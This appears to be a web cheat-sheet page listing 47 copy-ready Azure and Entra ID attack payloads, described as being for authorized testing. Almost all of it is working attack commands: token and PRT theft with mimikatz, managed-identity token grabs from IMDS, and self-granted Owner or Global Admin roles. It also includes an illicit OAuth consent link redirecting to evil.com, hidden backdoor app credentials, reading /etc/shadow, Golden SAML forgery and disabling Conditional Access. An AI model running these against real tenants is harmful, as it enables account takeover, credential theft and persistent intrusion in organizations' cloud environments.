Azure and Entra ID (Azure AD) attack techniques — access/refresh token theft, managed identity abuse via IMDS, role and privilege escalation, AzureHound collection, illicit OAuth consent grants, and lateral movement from cloud to on-prem. (47 payloads)
curl -s 'https://login.microsoftonline.com/[email protected]&xml=1'curl -s 'https://login.microsoftonline.com/target.com/.well-known/openid-configuration'curl -s 'https://login.microsoftonline.com/[email protected]' | jqInvoke-AADIntReconAsOutsider -DomainName target.com | Format-Table
# AADInternals: lists all verified domains, tenant ID, MX/SPF, DesktopSSOo365creeper.py -f emails.txt -o valid.txt
# Validates which emails exist in the tenant (user enumeration)az account show
az account tenant list
az ad signed-in-user showaz ad user list --query '[].{u:userPrincipalName,id:id}' -o table
az ad group list -o table
az role assignment list --all -o tablels ~/.azure/ # accessTokens.json (legacy), msal_token_cache.bin
dir %USERPROFILE%\.azure\msal_token_cache.bin# Windows: dump Primary Refresh Token (PRT) cookie
mimikatz # sekurlsa::cloudap
ROADtoken.exe # produces x-ms-RefreshTokenCredential cookie# Trade a refresh token for an access token for a new resource:
curl -s -X POST 'https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token' \
-d 'grant_type=refresh_token' \
-d 'client_id=1b730954-1685-4b74-9bfd-dac224a7b894' \
-d 'refresh_token=<RT>' \
-d 'scope=https://graph.microsoft.com/.default offline_access'roadtx gettokens -u [email protected] -p 'Password!' -r msgraph
roadtx gettokens --refresh-token <RT> -r azurerm # swap resource# Decode a stolen JWT to read scp/roles/aud claims:
# aud = audience (target API), scp = delegated scopes, roles = app perms
# Check 'amr' for MFA (pwd, mfa) and 'tid' for tenantConnect-MgGraph -AccessToken (ConvertTo-SecureString '<JWT>' -AsPlainText -Force)
Get-MgContext # confirm scopesaz login --service-principal -u <appId> -p <secret_or_cert> --tenant <tid>
az login --identity # if on a VM with a managed identitycurl -s -H 'Metadata: true' \
'http://169.254.169.254/metadata/instance?api-version=2021-02-01' | jqcurl -s -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'curl -s -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'curl -s -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com'# User-assigned identity: specify which one
curl -s -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=<UAMI_clientId>'# App Service / Functions use a different endpoint + header secret:
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"TOKEN=$(curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' | jq -r .access_token)
curl -s -H "Authorization: Bearer $TOKEN" \
'https://management.azure.com/subscriptions?api-version=2020-01-01'az role assignment list --assignee <objectId> --all -o table
az role definition list --query "[?roleName=='Owner']"# User Access Administrator → grant yourself Owner:
az role assignment create --assignee <yourId> \
--role Owner --scope /subscriptions/<subId># Contributor can't assign roles but CAN run code as resource MIs:
az vm run-command invoke -g <rg> -n <vm> \
--command-id RunShellScript --scripts 'curl ...IMDS...'# Automation Account / Runbook abuse:
az automation runbook list -g <rg> --automation-account-name <aa>
# Edit/publish a runbook to run as the AA's Run As / managed identity# Entra (directory) role escalation via abusable app permission:
# RoleManagement.ReadWrite.Directory → assign Global Admin
# AppRoleAssignment.ReadWrite.All → grant yourself any Graph app role# Add yourself to a Privileged Role-eligible group / activate PIM:
az rest --method POST \
--url 'https://graph.microsoft.com/v1.0/groups/<gid>/members/$ref' \
--body '{"@odata.id":"https://graph.microsoft.com/v1.0/directoryObjects/<yourId>"}'# Reset another user's password via Graph (needs UserAdmin/Helpdesk):
az rest --method POST \
--url 'https://graph.microsoft.com/v1.0/users/<id>/authentication/methods/<mid>/resetPassword' \
--body '{"newPassword":"Sup3r!Pass"}'azurehound -u [email protected] -p 'Password!' \
list --tenant <tid> -o output.jsonazurehound -r <refresh_token> list --tenant <tid> -o output.json
azurehound -j <jwt_access_token> list --tenant <tid> -o output.jsonazurehound list az-rm --tenant <tid> -r <RT>
azurehound list az-ad --tenant <tid> -r <RT># Import output.json into BloodHound, then query attack paths:
MATCH p=shortestPath((u:AZUser)-[r*1..]->(t:AZTenant)) RETURN pMATCH (u {name:'[email protected]'})-[r:AZAddMembers|AZOwns|AZUserAccessAdministrator*1..]->(g) RETURN gMATCH p=(n)-[:AZGlobalAdmin|AZPrivilegedRoleAdmin]->(:AZTenant) RETURN phttps://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<EVIL_APP>&response_type=code&redirect_uri=https://evil.com/cb&scope=offline_access%20Mail.Read%20Files.Read.All%20User.Read# Multi-tenant app that requests delegated scopes; if admin consents,
# the grant covers the whole tenant ('Consent on behalf of your organization')az ad app create --display-name 'Helpdesk Sync' \
--required-resource-accesses @perms.json
az ad sp create --id <appId># Add a hidden credential to an existing (trusted) app for persistence:
az ad app credential reset --id <appId> --append
az ad sp credential reset --id <spId> --append# Hunt existing risky grants in the tenant:
Get-MgOauth2PermissionGrant -All | ? { $_.Scope -match 'Mail|Files|Directory' }
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId <id># Federated credential / workload identity backdoor (no secret on disk):
az ad app federated-credential create --id <appId> \
--parameters '{"name":"gh","issuer":"https://token.actions.githubusercontent.com","subject":"repo:org/repo:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}'TOKEN=$(az account get-access-token --resource https://vault.azure.net --query accessToken -o tsv)
curl -s -H "Authorization: Bearer $TOKEN" 'https://<vault>.vault.azure.net/secrets?api-version=7.4' | jqaz storage account keys list -n <acct> -g <rg>
az storage blob list --account-name <acct> -c <container> --account-key <key>az vm run-command invoke -g <rg> -n <vm> \
--command-id RunShellScript --scripts 'id; cat /etc/shadow'
az vm run-command invoke -g <rg> -n <vm> \
--command-id RunPowerShellScript --scripts 'whoami /all'# Cloud → on-prem: dump Entra Connect sync account creds
mimikatz # adsync
AADInternals: Get-AADIntSyncCredentials # MSOL_ account = DCSync rights# Forge a SAML token to impersonate any user (Golden SAML):
New-AADIntSAMLToken -ImmutableID <id> -PfxFileName ADFS_signing.pfx -Issuer 'http://sts.target.com/adfs/services/trust'# Persistence: register a rogue device or add a TAP
Get-MgUserAuthenticationTemporaryAccessPassMethod -UserId <id>
New-MgUserAuthenticationTemporaryAccessPassMethod -UserId <id> -BodyParameter @{ lifetimeInMinutes=480 }# Disable / weaken Conditional Access (needs Global/Security Admin):
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId <id> -State disabledLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 47 Azure Attacks payloads for testing Azure & Entra ID Attacks vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the JWT Decoder & Builder to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Azure Attacks payloads are completely free, with no account required. Everything runs in your browser.